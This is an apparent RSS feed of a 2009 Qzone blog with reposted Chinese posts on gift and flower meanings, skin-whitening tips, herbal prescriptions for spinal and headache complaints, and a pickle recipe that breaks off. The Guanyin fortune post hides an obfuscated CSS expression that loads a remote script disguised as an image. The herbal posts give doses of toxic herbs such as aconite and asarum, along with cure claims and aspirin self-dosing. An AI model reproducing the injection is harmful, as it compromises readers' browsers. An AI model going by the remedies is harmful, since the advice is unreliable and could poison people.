<![CDATA[蓝色心雨]]> http://183634813.qzone.qq.com Mon, 30 Nov 2009 22:53:46 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Mon, 30 Nov 2009 10:15:06 GMT <![CDATA[[转]注意了，以后别送错了]]> http://183634813.qzone.qq.com/blog/1259576106 1。 围巾 - 我永远爱你。
2。 信 - 我想念你。
3。 花儿 - 我希望把我的名字放在你的心上。
4。 书 - 我相信你很聪明。
5。 口香糖 - 我希望跟你交往得很久。
6。 香烟 - 我讨厌你。
7。 本子 - 我希望看你的天真的爱情。
8。 戒指 - 你永远属于我的。
9。 伞 - 我在任何情况下都要保护你。
10。 发夹 - 希望你的成功。
11。 镜子 - 你别忘记我。
12。 项链 - 我要你在我身边。
13。 巧克力 - 我爱你。
14。 打火机 - 你是我的初恋,你和他的感情一触即燃。
15。 圆珠笔 - 我给你我的心的一半儿。
16。 钥匙装饰品 - 我希望你的幸运。
17。 粘贴补(album) - 把我们的爱情珍藏在我的心。
18。 钢笔 - 把我们的爱情珍藏在我的心。
19。 触觉娃娃 - 希望你真实一点。
20。 吉物 - 我想跟你做个朋友。
21。 手套 - 希望你真实。
22。 手帕 - 我等待分手以后再相遇。
23。 睡衣 - 我给你我的全部。
24。 日记本 - 我希望把我们两个人的回忆珍藏在心
25. 钱包-代表你愿永伴他身旁
26. 皮带-代表栓住他一辈子
27. 剃须刀-代表他在你心中是优秀的成熟男性
28. 相册-永远珍藏你和我的回忆
29. 千纸鹤:希望我和你的爱情有个美好的结局.
30. 送手表，代表你和他像拥有分分秒秒的感情
31. 送领带，表示你把他套牢了让他永远在你身边不离开
送女朋友：
1.戒指，代表爱你到心里，情愿为你的爱而受戒
2.项链，代表将你紧紧锁住，希望你的心里面只有他一个人，没有其它的异性
3.手镯，代表除了想圈住你以外，还暗示了他只疼爱你一个人
4.手链，代表想绑住你一辈子
5.脚链，代表栓住今生，系住来世，希望来生还能在一起

红玫瑰代表热情真爱；
　　黄玫瑰代表珍重祝福和嫉妒失恋；
　　紫玫瑰代表浪漫真情和珍贵独特；
　　白玫瑰代表纯洁天真；
　　黑玫瑰则代表温柔真心；
　　橘红色玫瑰友情和青春美丽；
　　蓝玫瑰则代表敦厚善良。

　蔷薇——求爱　　　 满天星——爱怜
　百合——百年好和　　 向日葵——爱慕
　合欢——欢乐　　　　 金盏花——迷恋
　红豆——相思　　　　 石斛兰——任性美人
　红菊——我爱　　　　 紫丁香——羞怯
白丁香——念我　　　 郁金香——爱的寓言
杨柳枝——依恋　　　 紫萝兰——永恒之美
　波斯菊——永远快活　 玛格丽特——情人爱

巧克力的含义：

　　榛子巧克力——忠贞
　　果仁巧克力——可人
　　酒心巧克力——与你共醉
　　奶香巧克力——我的蜜糖

1.手表
天天见，时时见，分分秒秒见，分分秒秒陪着你，
表是另外形式是钟，扩大的想就是钟情于你了哦，
手表还可以结实为和时间相处啊，
时间也是你们需要的东西吧，时间看清楚你们是否相爱啊

2.风铃
如果你是男孩子，女孩子送你风铃的话
那就意味着……分手。
其实风铃还有思念、想念的意义。
不过最好不要随便送人风铃。
总归意义不太好，
自己买给自己倒是可以
挂在通风的房间里有种忧郁的幸福感伤

3.打火机
打火机代表火, 火代表激情
代表暗恋


4.围巾
1.缠住他/她
2.给他/她温暖,表示你的关心
3.是一种温心,细腻,大方的示爱手段

5.杯子
一辈子

6.手套
逃不出她他的掌心

7.梳子
----是一种心意!
1.梳子代表相思,代表着对方很想念很挂念你! 2.梳子每天都梳理头发也代表着它与你的密切性,代表着白头携老! 3.梳子还代表爱情,古代一般有做定情的意思! 4.梳子也代表健康,快乐! 把烦恼一扫而过,把心结打开,而且梳头会给人精神,带给人自信!


8.送礼物给异性的含义:

1.送男士香水表示你在她心目中是有品位的，她渴望和你进一步接触。
2.送钱夹，钥匙连随身小物应该是情侣之间爱意表达，希望时时伴你左右，让你每时每刻想起她。
3.送剃须刀代表你在她心中是优秀的成熟男性。
4.送贴身衣物（内裤，袜子）都比较暧昧，这是一种亲密调情，类似动物圈领地，表明你是她的人。
5.送你喜爱的特殊礼品（篮球，动漫模型，书），代表她对你有好感，同样希望博得你的好感。
6.送你毛衣，牛仔裤，运动鞋，说明她是真的爱你，已进开始代替你妈妈料理你的生活了！
打火机：初恋 恋爱、相爱
糖：我喜欢你
口香糖：想与你分享缠绵的爱
巧克力：想与你分享甜蜜的爱
玩偶：抱抱我
戒指：你是我的
花：想跟你在一起
镜子：想得到你的心
领带夹：想要给你爱
枕头：想和你一起过夜
睡衣：付出我的一切
吻：爱上了你
钱包：比起钱，你对我来说更重要
纸鹤：我们彼此之间的爱会实现的
腰带：不要离开我
手表：不要在约会的时候迟到哦
帽子：永远爱你
头巾：永远爱你
鸽子：521 我爱你
毛巾：永远的记住我
日记本：请成为我生命的一部份
脚链：你跑不掉喽
钢笔：祝你成功
钥匙链：祝你幸运
纸星星：365天祝福
不好的含义：含义：
摩托车：你能快点死就好了
烟：真的很讨厌你、狠透你了
领带：真想勒死你
橡皮：你可真讨厌，我要用橡皮把你蹭掉~~！ 分手、离别：
剪刀：我们分手吧
袜子：想与你保持一段距离
围脖：我们离别吧
相册：请保存好我们之间的回忆
钢笔水：不要抹去我们之间的回忆
图画：想永远的珍藏我们的回忆 其他：
书：给你一点时间，好好想想
玩具：希望你能对我更真实一点
木梳：请整洁一点
化妆品：你很美丽
圆珠笔：你好啊
蜡：实现不了的爱 水晶紀念意義：
不同颜色的水晶所代表的意义：
无色水晶：代表纯洁、无私、能提升人的灵气，驱除杂念
紫色水晶：代表浪漫、姻缘、颜色高贵
黄色水晶：代表财富、鸿运
茶色水晶：代表稳健、安泰
绿色水晶：代表正义、发展
绿幽灵水晶：代表财路正、事业兴
白幽灵水晶：代表清净，供灵修
红幽灵水晶：代表事业发达，财运兴旺
金发晶：至美、至尊
红发晶：热烈、活泼
黄发晶：红火、兴旺
黑发晶：偏财、解厄
绿发晶：幸福、好运
银发晶：材旺、辟邪
金字塔水晶：聚集能量、趋吉避凶
水胆水晶：神奇、灵异 ]]> http://183634813.qzone.qq.com/blog/1259576106#comment 1032 Mon, 30 Nov 2009 10:15:06 GMT http://183634813.qzone.qq.com/blog/1259576106 <![CDATA[[转]观世音菩萨]]> http://183634813.qzone.qq.com/blog/1259575950 请在菩萨面前抽个签,很灵的!心诚则灵!


















[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://183634813.qzone.qq.com/blog/1259575950#comment 13833 Mon, 30 Nov 2009 10:12:30 GMT http://183634813.qzone.qq.com/blog/1259575950 <![CDATA[[转]晒黑后变白的方法！！！不收藏可要错过喽~~~]]> http://183634813.qzone.qq.com/blog/1259554518




1.把醋和盐用水溶解，比例是大概水：白醋：盐＝9：3：1，用调好的混合液把毛巾润湿，擦在脸上，早晚各一次，（如果要多擦个一两次也没问题啦），效果不错哦，而且见效很快，皮肤会变白，痘痘也会不见了．

2.用草莓炸成汁，放上蛋清。每2~3天擦一次

3.用水和蜂蜜调配后加入珍珠粉,这样用几次以后,脸是又白又嫩!

4.最简单最便宜最方便但是十分有效的美白方法，将香蕉弄成糊状，然后倒入全脂牛奶，再加入少量水。这些东西的比例大概是2：5：1然后往脸上抹，然后轻轻拍打脸部，最后什么都不要做。20分钟后洗掉.

5.用冰牛奶倒在纱布上，轻轻地敷在眼睛上，10分钟左右，每晚敷两次，能够消除眼带缓解眼部的疲劳，而且长期如此还可减少眼部皱纹。放凉的盐水和喝过的茶叶也可以起到同样的作用。

6.用一个蛋黄，加入一勺蜂蜜，搅拌均匀，在用温水洗过脸之后，涂在脸上，大约十分钟，等面膜完全干了之后，用温水清洗，再用化妆水、润肤产品。那么，之后皮肤摸起来就会软软嫩嫩的。

7.牛奶亦具收紧肌肤功效，若早晨起床发现眼皮浮肿，可用适量牛奶和醋加开水调匀，然后在眼皮上反覆轻按3至5分钟，再以热毛巾敷片刻，眼皮瞬即消肿。

8.黑眼圈是令每位女生都心烦的一个大问题，其实想要把它赶走很简单：用马铃薯去皮（也可以不去）后，切成一小片一小片，然后就敷在脸上约10分钟左右，感觉马铃薯片已经干干的，没有水分了，那就说明已经吸收完毕，可是摘下来啦！

9.将番茄捣烂,滤汁涂于脸部,20分钟后洗净,每日数次,可使皮肤变白,还兼治雀斑.

10.白菜帮切成片状,贴于面部,有使黑色皮肤转白的功用.

11、珍珠粉（粉质要细）加酸奶，全身轻轻按摩，去死皮的同时嫩肤又美白。此方法也可用在脸上，注意力度要适中。效果挺好的。

12、建议你暂停繁复的护肤程序，更换温和低敏感性的产品，而且步骤越简洁越好。例如洁面，你可以直接用清水，或者使用滋润感好的非泡沫式洁面乳。化妆水可以换成具有舒缓、镇静功能的温泉水喷雾，千万不要使用具有去角质作用或含香料的产品。针对发痘痘的部位，要使用具有消炎功效的产品；蜕皮的部位可以敷上保湿面膜。最后，还是要注重防晒，但要避免化学性防晒产品，这会刺激到已损伤的敏感肌肤；要选用物理性防晒成分、没有润色效果、不含防腐剂的防晒产品。

13、雪肌精连敷一周，想不白都不行

14、晒后用酸奶敷脸挺好的.

15、推荐两款面膜
　　兰芝的睡眠面膜可以给你晒后缺水的皮肤补水
　　兰芝的酸奶草莓面膜可以美白

16、多喝水！！！！！！！

17、饮食也是多吃含维生素C的食物。。。

18、把维生素C片碾碎，加点水，涂在脸上，超有效！要那种普通的就可以。



方法二



皮肤的晒黑要变白，需要时间，长短因人而异了，当然也跟每个人的年龄?肤质有关，年纪越大白回来的速度越慢；有些人的肤质天生就是不容易晒黑，就算晒得很透彻，最多晒红晒伤，也还是可以一下子就白回来；有些人则特别感光，就算在坐在室内，透过玻璃窗都会晒黑。想要恢复白晰透明的肌肤，就需要持续的照顾与防晒了！
　　1、基础保养：每天的基础保养还是不可轻忽的，每天彻底将脸清洁干净，(包括：卸妆、洗脸)，每周一次的去角质与敷脸，千万不要小看去角质、敷脸的功力哦！它可是可以加速皮肤的新陈代谢，让你快点白回来。
　　如果您正在烦恼该买哪一种敷脸产品？提供您一个小偏方，酸奶敷脸，只要用化妆棉浸泡酸奶，然后贴在脸上10-15分钟即可，并且据说还可以增强皮肤对紫外线的抵抗力呢！

　　2、多吃蔬菜、水果：多吃含有维生素C、E、β胡萝卜素的食物，都可以美化皮肤，让你快快白回来。很多人会误以为想要白回来与所吃进去的食物颜色有关，如果喝牛奶皮肤会变白，那么谁还敢喝咖啡?吃巧克力?或是吃含有酱油的食物呢？虽然牛奶是含有丰富的维生素A，但用喝的可能还不如用洗的来得快。
　　此外，今年夏天非常流行的芒果冰，芒果虽然有丰富的β胡萝卜素，但也不能吃得太过度以免皮肤发黄(P.S.红萝卜、木瓜、柳橙，这类蔬果都是含有丰富的β胡萝卜素，吃多了也都具有同样会让皮肤发黄的效果)。
另外，吃多了九层塔、香菜(芫荽)、韭菜、红豆也会让你的皮肤容易感光，容易晒黑或是晒出斑点。
[我通常知道今天不得不挨晒前,会吃些像西红柿,木瓜,奇异果,胡萝卜之类的水果,蔬菜]
　　在此顺便提供您一个消暑又美白的甜汤，绿豆薏仁汤或是莲子薏仁汤反正要加薏仁就对了，薏仁对于皮肤美容特别有帮助。
　　3、防晒：记得一定要在出门前15分钟擦上防晒乳液、防晒霜，而且要记得带出门，在户外一到两小时候一定要补擦，就算已经晒黑了也要防止它继续黑下去。不要以为坐在室内就不用防晒哦！地板、墙壁、玻璃都一样会反射紫外线的。
　　4、多喝水：每天最少2000CC的水，保护皮肤，也保护你的肾。
　　5、作息正常：尽可能的在晚上十一点以前就寝，就算做不到，也要勉强在十二点以前上床睡觉，因为错过了美容觉时间，要快快白回来就没那么容易了。


方法三

对于因日晒过多等原因引起的肤色较黑者，可采用以下的一些护肤增白的方法，会取得一定效果。
　　一、酒 在好米酒中，加入去皮的苹果，浸数天后，再放些荞麦。一周后，滤出药酒，每天用脱脂棉花蘸药酒涂擦面部，会使面部红润起来。
　　二、皮肤粗黑者 可将醋与甘油按5∶1的比例混合后，每天坚持涂敷脸部，可使面部皮肤变得细嫩。
　　三、蛋清 将蛋清加放少许面粉，也可加点瓜汁，调成糊状，每晚涂在脸上，半小时后洗去，可使皮肤光滑细腻。
　　四、防晒 外出要用草帽、遮阳伞、太阳镜等，也可用一些防晒油。皮肤对阳光比较敏感者，在久晒后未出现症状之前，可服阿司匹林1克，以后每4小时服0.5克，共2天，并大量饮水，可避免皮肤发红变黑与灼痛。
　　五、枸杞酒 以好酒浸泡中药枸杞，可加生地黄汁共浸泡，空腹时加热后饮用为佳。
　　六、精神调节 许多人因为皮肤颜色稍黑而忧心忡忡，造成内分泌的进一步紊乱，使皮肤变得越来越黑。而精神情绪稳定，乐观向上，则使交感神经与副交感神经的调节正常，使人脸色变好，皮肤有光泽。
　　七、不乱用美容化妆品 一般而言，外用的药物只对皮肤起到短时的作用，而通过内服或与外用结合，才可使美容药物的效果持续久长，最好在有经验的美容师或医生的指导下进行。
　　八、中药方 白扁豆、白僵蚕各10克，当归15克、生地20克，川芎、赤芍、桃仁、红花各5克，鹿角胶、阿胶、龟板胶各6克，白附子、白芷各12克，血竭3克。每日1剂，水煎内服，药渣复煎，熏洗面部，每天3次，每次熏半个小时。
　　九、中药外用方 浙贝母、白芨、附子各适量，研粉，加入雪花膏中，早晚各搽于面部。
　　十、锻炼 实践表明，适当的锻炼，可增强体质，使内脏功能与内分泌功能趋于正常，从而起到美肤壮体的作用。当然对于皮肤较黑者来讲，要避免在阳光下运动。
　　总之，欲使皮肤变白，非一日之功，重要的是恒心、信心、决心。

方法四:

下面还有两种方法,我觉得特别有效,大家可以试试

除面部色素斑:鲜西红柿汁\蜂蜜,按5:1混合,涂面部,过10分钟后洗净,连用10-15日,能使黑色素分解,皮肤变白红润.



皮肤粗黑:靠化妆品增白皮肤,只能一时掩饰,治表不治本,现向你介绍一种治表治本能使皮肤增白而真白的妙方,既简单又有特效:用白醋\甘油按5:1混合,常擦皮肤(一日二\三次)能使皮肤湿润,减少黑色素沉积,一月后皮肤即细腻白嫩,洁净光滑富有弹性,充满美感。(此方对遗传黑皮肤均有效).
[如果发现已晒黑,想修复的话补水很重要哦]


美容是需要很多材料的,有心的MM们要准备好了哦~~~





大家仿佛对皮肤防晒问题很感兴趣,那么我再补充一些刚搜到的东西



抢救晒伤肌

“啊！好烫！”当被烫伤的时候，大家都可以脱口而出“冲脱泡盖送”！正确的详细步骤也是朗朗上口。那当防晒破功，不小心晒伤了，妳该怎么做？其实晒伤就是轻度烫伤，可别等闲视之！从现在起，谨记晒伤守则“喷、敷、镇、舒、服”(谐音：喷敷真舒服)，抢救晒伤！

晒后作战计划

祭出“敷、喷、镇、舒、服”五字诀抓紧黄金修护期，不让晒伤达阵！

喷：皮肤微微泛红时，喷冰凉的喷雾可以马上帮干燥缺水的地方补水。

虽然小泛红只是表皮被阳光轻微灼伤，但是含酒精或是复方成分类的化妆水还是有可能太刺激，添加活泉水、深层水的喷雾成分，才能冷却→补水→退红！

敷：整脸红又烫，用毛巾包冰袋敷脸，让表面变凉迅速冷却降低热伤害。


敷脸STEP1

准备干净的毛巾

干净的毛巾才不会引起感染，包适当的冰块用按压式冰敷。

敷脸STEP2

敷到不热辣为止

皮肤感觉不会烫烫的后，发红和痛的状况都减轻就可拿下。

POINT

太刺激可用冷水，如果觉得敷冰块太痛，用浸泡冷水的毛巾冷敷10-15分钟。如果冰敷后都还是不舒服，接下来绝不能用热水洗脸，会让血管扩张、充血。也建议不要用洗颜品，直接冷水冲洗让毛孔收缩、冷却，达到消热退红的作用。



镇：用具镇静效果的晒后凝胶厚敷全脸，敷整晚持续镇定发炎反应！

选择含“天然镇静消炎三巨头”的凝胶类，达到降温及镇静肌肤的效果：

芦荟：芦荟去皮后的果肉可以制成浆放在冰箱里，晒伤出现红肿涂上可快速消炎。除可帮助受伤的皮肤更快康复及防止脱皮外，灼热发疼时，涂上芦荟汁液也有立即降热、清凉的功效！

丝瓜：《本草纲目》记载丝瓜的功效能和血脉、活筋络。实验证实丝瓜具生理活性的有机物质混合在丝瓜水中，对肌肤有很强的渗透性，也不会伤害皮肤组织。晒后用丝瓜水敷脸，能预防皱纹的生成！

黄瓜：黄瓜的含水量高达97%，其余3%都是人体必需的物质。能治烫伤、消炎。黄瓜汁还可洁肤、防止皮肤老化。捣碎敷脸可以减少皱纹，治疗晒伤和炎症，用新黄瓜做面膜还可以美白呢！

舒：肌肤状况稳定后，加强保湿、修护，祭出保湿乳液来舒缓回归！

保湿兼锁水，代谢周期过快，未成熟细胞无法发挥正常保水力到达肌肤表面，就会滋润不足脱皮。选有舒缓效果的添加玻尿酸、胶原蛋白等、洋甘菊、甘草酸、维他命B3让角质代谢正常！



艳阳之下四类人的防晒

一、上班女郎

上班族女郎常常因为自己不常外出，有办公室厚厚的外墙，清凉的空调，时刻紧闭的窗帘保护而放松警惕。清晨上班时太阳刚上山，傍晚下班时太阳快下山，忍一忍，冲锋一阵也就熬过去了，结果是，仲夏过后，只能望着镜子中被晒成黑一截白一截的自己，后悔莫及。

露肤百分比

容易被忽略的30%

手臂、脖子、两颊突起处、鼻梁、膝盖……这些都是不小心就会被晒成焦点的地方，也是日常护理容易疏忽之处。戴了帽子再撑伞、穿上厚厚的长袖衬衫保护手臂、一个夏天都不穿短裙--打扮成变形金刚才够保险？不，赶紧对这些SAY OUT！只要做足防晒功课，优雅美丽，就能从容防晒。

露肤时间 90~150分钟

早晨、傍晚、中午，保守估计露肤持续时间约100~200分钟。你是否常常因为只出去“一会儿”，所以抱着侥幸心理什么也不做就跑到太阳底下？或者虽然心里忐忑不安，但仍然决定冒险只撑把阳伞就往外走？提醒你，仅仅是“一会儿”功夫，你的肌肤受伤危险系数已经达到：三级。

“双时防晒”亮高招

及时涂抹--上班前、下班前、午餐外出前15分钟就应及时在裸露的肌肤上涂抹防晒霜；

适时补擦--汗后、洗脸洗手后应适时补擦防晒用品，避免紫外线伤害，因为即使是室内，也是紫外线的势力范围哦。



二、血拼一族

约了女友上街血拼，当然得穿上衣橱里最靓丽衣裙，当然，为了下一次血拼时还能保持如此满意的肌肤状态，还得来一个严密保护。谁也不愿在一群美女当中，独独顶着一张“印度西施”的面孔出现吧？

露肤百分比

不得不露的50%

如果说上班族还可以通过遮掩的传统方式保护自己的话，血拼族可一定不乐意这样做。伸出手臂，露出新败的SWATCH时装表，纤纤玉指要露出亮闪闪的爱之美戒，脖子上若不露出珠玉项链，不足以搭配飘逸缤纷的至IN短裙。为了无时无刻的美丽，露肤计划只许成功不许失败！

露肤时间 150~200分钟

真正的时尚达人可不屑于只逛逛打着26度冷气的品牌商场，她们更乐意穿梭于个性十足的小街巷中寻找独特的美丽。那么，这寻找美丽的若干小时里，肌肤就不得不裸露在骄阳下，接受考验了。这是一个系数达到：五级的危险游戏。

“双时防晒”亮高招

及时涂抹--血拼前20分钟就应及时在裸露的肌肤上涂抹防晒霜，做好迎战烈日的充分准备；

适时补擦--利用上洗手间、女友试衣、喝饮料及休息的时间见缝插针地补擦，时间间隔不要超过四个小时。



三、郊游

喜欢郊游，遇到夏天，实在又爱又恨。明媚的阳光搅得心里痒痒，怎能不出门？可一出门才发现，阳光的明媚表情下，还有着令人却步的威胁。无论如何，多花一点心思在防晒上，就可以零负担出行啦。

露肤百分比

不可避免的70%

束上马尾，戴上娇俏的贝雷帽，穿上透气舒适的户外运动装，郊游美眉的酷感无人能敌。渐渐汗水顺着耳根流下，脸颊被热气熏的通红，坐下来喝水时，就把贝雷帽摘下来当扇子使，结果发现，热的再也戴不上去了……惟一的遮阳工具被卸下，所有的重担都落到那瓶小小的防晒护理上。

露羰奔?200~300分钟

喜欢郊游都爽朗大气，但也常常是她们，总是忘记了呵护自己。其实，长期暴露在阳光下的皮肤，是最容易受到伤害的。“要健康就多晒太阳？要的就是美黑？”忘了这些谎言吧，小麦色肌肤的光泽，可不是靠天然的曝晒就可以得到的。你的肌肤危险系数已经达到：七级。

“双时防晒”亮高招

及时涂抹--出游前30分钟就应在裸露的肌肤上涂抹防晒霜，千万不要吝啬防晒霜；

适时补擦--有规律地，每隔两个小时就彻底补擦一次防晒霜。



四海滩

露肤百分比99%

傻瓜也不会穿得严严实实地出现在海边，谁也不想那么煞风景。想一想，除了你的墨镜、沙滩上小小的遮阳伞，还有什么在帮你阻挡紫外线？可别寄希望于厚厚的海水，由于水面的反射，紫外线的指数只会加倍。多么耸人听闻的事实！你的防晒措施，要做到像007保卫国家一样的严密才行。

露肤时间 300~400分钟

长时间无遮挡地出现在海水与阳光包围中，最怕的是在皮肤上晒出“天然比基尼”，虽然是隐秘所在，但洗完澡看到镜子中烈日的杰作，难免要沮丧万分，觉得自己变了熊猫。危险系数快要超过极限了！所以在选择防晒品上，更要精挑细选，做到万无一失。

“双时防晒”亮高招

及时涂抹--出门前30分钟就应在裸露的肌肤上充分涂抹防晒霜；

适时补擦--除每隔一个小时就彻底补擦一次防晒霜外，尽量在出水后就立即补擦，以免在擦干水分时，也擦掉了防护。



自制西瓜晒后修复面膜

美肤功效：晒后常常会感到肌肤跳动，这时肌肤很需要镇定然后才可以有进一步的治疗。西瓜皮面膜可以对面部补水降温，镇定肌肤。

原料：西瓜皮一片、蜂蜜适量。

制法：用西瓜皮汁混合蜂蜜做成面膜。

用法：直接敷面约25分钟清洗。





在这还有一个与防晒无关的但很多人可能会比较感兴趣的:DIY 自制大蒜瘦脸面膜

材料：大蒜、绿豆粉及面膜布。

作法：

　　step1: 把大蒜剥皮,且微波用中小火二分钟(以去味)。

　　step2: 放入果汁机里在加上100cc的水，搅碎之后要过滤。

　　step3: 将面膜布放泡在大蒜中。

　　step4: 拿出一个小碗放入一些绿豆粉加入大蒜水。

　　step5: 在涂在面膜布后再敷在面膜上。

　　step6: 约10-15分钟，即可以清水洗净脸。

　　功能：具有瘦脸及治痘及去角质的功能。还可以使皮肤更白滑哦。 ]]> http://183634813.qzone.qq.com/blog/1259554518#comment 1032 Mon, 30 Nov 2009 04:15:18 GMT http://183634813.qzone.qq.com/blog/1259554518 <![CDATA[[转]腰椎间盘突出特效方]]> http://183634813.qzone.qq.com/blog/1259498774 腰椎间盘突出特效方
方一：
生芪120克 当归30克 熟地30克 制川乌30克 制附子30克 黑小豆30克 麻黄15克 细辛18克 桂枝45克 白芍45克 防风30克 蜂蜜150克 鲜生姜45克 枣21枚 杞子30克 菟丝子30克 补骨脂30克 仙灵脾30克
加冷水2500MI（七到八碗）文火煎三个半小时，煮取600ML（一碗半），日分3次，饭后服。七日一个疗程。可连服一至两个疗程。
此方名“加味改良乌头汤”，是一位出家老和尚秘传方子，愈人无算。老和尚慈悲，将方子交与上会下如法师，法师传与我。我不敢私密，公诸海上，普愿见闻者，悉发菩提心，慈悲种福田，施与众生乐。
方二：
原方：载于《中国中医秘方大全》中卷913页。
功能与主治：补肾活血、理气止痛。主治腰椎间盘突出症。
处方组成：核桃仁210克、黑芝麻210克、杜仲60克、川续断30克、木瓜30克、菟丝子60克、当归60克。除核桃仁、黑芝麻外，余药均晒干，研磨过筛备用。将黑芝麻于碾槽内碾碎，再放入核桃仁一起碾，当用手摸无颗粒时，与经过筛的药面一起倒入盆中，以炼蜜250克分数次加入盆内搅拌，反复揉搓成团块，再取团块7克制成丸子。丸子可放入冰箱内贮存。每曰服2次，每次服一丸，黄酒20毫克送下。连服100丸为一疗程。
临床疗效：治疗腰突症15例。年龄14-51岁，病程1-14年。结果痊愈14例，显效1例。随访5-10年，均未见复发。
方三：
方剂来源：中国人民解放军513医师郭大平。
笔者经验：是在上方基础上加味，经临床十年反复论证而成。主要功效是：补肾益肝健脾，活血化痰利水，舒筋通络止痛。
汤剂方：川断 狗脊 木瓜 羊藿叶 熟地 骨碎补各12克，杜仲 当归 菟丝子 云苓 泽泻 元胡 鸡血藤 各15克，香附 白芥子半夏各10克，田七粉5克，核桃肉 黑芝麻各30克。加减法：单纯腰痛加桑寄生15克；伴下肢痛加怀牛膝15克；痛甚加蜈蚣2条；舌苔黄腻加萆薢15克黄柏8克，加水煎服，一天一包，分两次服用（在煎好的汤药中加少量的白酒效果更好）。
散剂方:川断 狗脊 木瓜 乌药 威灵仙 羊藿叶 骨碎补 桑寄生 怀牛膝各15克，杜仲 当归 云苓 鹿含草 泽泻 伸筋草 元胡各20克，鸡血藤黄芪各30克，香附 半夏 胆星 土鳖虫 僵蚕 地龙 全虫 乳香没药各10克，田七粉辽细辛各5克，共研细粉，每次5克，每日二次，黄酒送服，可单独服，也可与上方汤剂一起服。（汤剂起效快，散剂起效稍慢）。以上药粉也可再加核桃肉黑芝麻各150克，用炼蜜做成蜜丸，每丸10克，一曰二次。
颈椎病是指由于颈椎间盘的退行性变，颈椎骨质增生以及黄韧带肥厚变性等继发性改变，而使颈神经根、颈髓、椎动脉、交感神经受压迫或刺激后，临床上产生头晕、头痛、头胀、颈部疼痛、肩部疼痛并向上肢放射、颈部僵硬、颈部活动受限、四肢力量减弱等一系列症候群的总称。


颈椎病的分型


根据颈椎病的不同临床表现可以分为六种类型：神经根型、椎动脉型、颈脊髓型、交感神经型、单纯颈型以及混合型。
各型颈椎病有什么症状
1、颈神经根型颈椎病：以神经根受累为主要临床表现。多数患病者有长期埋头屈颈工作的慢性劳损病史或外伤病史，患病者主要感觉颈部、肩部疼痛并向上肢放射，颈部僵硬、活动受限，可伴随上肢沉重无力、麻木、发凉、酸痛或者酸软感等上肢症状，部分人有头痛、头晕、视物模糊、耳鸣。颈部过度后伸、过度前屈、旋转常会引起疼痛或症状加重，局部热敷或按摩、理疗后症状减轻。
2、颈型颈椎病：以颈枕部疼痛，颈部活动受限，颈部肌肉僵硬为主要临床表现的颈椎病。有相应的压痛点，颈部过度后伸、过度前屈、旋转常会引起疼痛或症状加重，部分患者表现为习惯性落枕，检查可发现颈椎生理曲度改变，局部热敷或按摩、理疗后症状减轻。
3、脊髓型颈椎病：以颈脊髓受压为主要临床表现。主要表现为颈肩部疼痛、肢体疼痛发麻、僵硬发抖、软弱无力等，常伴头痛、眼痛或吞咽异常，胸腹部夹带感，颈部活动度受限不明显。
4、椎动脉型颈椎病：以颈部旋转活动出现眩晕为主要症状，常伴随颈肩部疼痛、后枕痛、颈部活动受限、恶心呕吐、耳聋耳鸣等。
5、交感神经型颈椎病：以头颈、上肢的交感神经功能异常为主要临床表现。主要表现为头痛、头晕、头胀，视力模糊、眼窝部胀痛，耳鸣耳聋，手麻、发凉、怕冷，心律不齐、心前区痛，血压升高等。
6、混合型颈椎病：以上两种或两种以上类型合并发病。
注，中医认为是足太阳膀胱经气因风挟湿而功能受限所致也。中西医临床有别，然原理则一。
治疗眩晕症简便特效秘方
仙鹤草90克 红枣12枚，水煎服，一日二歺，早晚饭后服，三～五天愈。
顽固性头痛秘方：通络头风汤此方出自京师名医之手，本人在北京进修时偶得，临床使用多年，在治疗各类顽固性头痛及三叉神经痛尤其是使用各种止痛剂麻醉剂无效的患者疗效神奇，屡试不爽．现忍痛奉献给广大同仁，强烈要求加分！
　　　川穹２８g　当归１８g　细辛５g（后下）　大蜈蚣２条（焙干研末冲服）
　　　头部冷痛（遇冷风或气温变低痛重）加白芷２０g
头部热痛（闷热时痛重）加甘菊２０g苍耳子１８g
　　　头痛剧烈如针扎火烤加白僵蚕１８g生石膏２５g
　　　三叉神经痛加生白芍２０g白芥子１２g白芷１５g
　　　后头痛加羌活２０g
　　　前头痛加白芷１８g
　　　偏头痛左侧加柴胡２０g右侧加生白芍１８g
　　　头顶痛加藁本１８g
　　　每日一剂４～５剂便愈，病史长者可加服３剂．
治头痛昏迷秘方
具体方法是：天麻250克，党参250克，当归200克，人参10克，大枣250克，核桃仁250克，蜂蜜1000克，猪油（不放盐）1000克，将上药共泡在一个罐液，每天早上将泡的药液舀二匙和甜酒在饭颤上蒸热，分早，中、晚三次服，坚持服用一段时间即可。 ]]> http://183634813.qzone.qq.com/blog/1259498774#comment 134218248 Sun, 29 Nov 2009 12:46:14 GMT http://183634813.qzone.qq.com/blog/1259498774 <![CDATA[[转]四川泡菜的做法及常见家常菜]]> http://183634813.qzone.qq.com/blog/1259485785
四川泡菜开胃、下饭，可直接食用也可作调料，制作方便，快捷，廉价。但是市场上的泡菜味不地道，且有不干净的嫌疑，还不方便，开袋就不好保存。何不自己动手淹作一坛呢！ 　　制作方法十分简单，介绍如下:

所需材料：
泡菜坛子一个、高粱白酒、辣椒、大料、冰糖、盐 、姜、蒜


好，下面我们就来具体制作：
一、培养泡菜发酵菌

（1）首先在冷水里放入适量的盐，然后把水烧开.水量在坛子容量的20-30%左右，不要太多。
　　盐比平时做菜时多放一点，感觉很咸即止. （如果用瓶装的饮用水，那就不需要烧开，直接放盐就好。）

（2）待水完全冷却后，灌入坛子内，然后加一两高粱酒. 其它酒不行，泡菜菌其实就是从高粱酒麴来的.

（3）放红椒、生姜、蒜进去，可多放些，可增加菜的味。且这种菜要保持坛子内一直有，它们有杀菌提味的作用。（青椒也可以，但是颜色没红椒好看）

2－3天后可注意仔细观察，看辣椒周围是否有汽泡形成，开始的时候 ，是一到两个十分细小的气泡，不注意观察几乎看不见.如果有汽泡，哪怕是一个气泡，　就说明发酵正常。（其实观察不到也没关系，放2-3天就可以了）

（5）泡菜的原汁就这样做好了（泡菜菌培养好了）.
　　泡菜菌属于厌氧菌，注意坛口的密封十分重要.

注意事项：
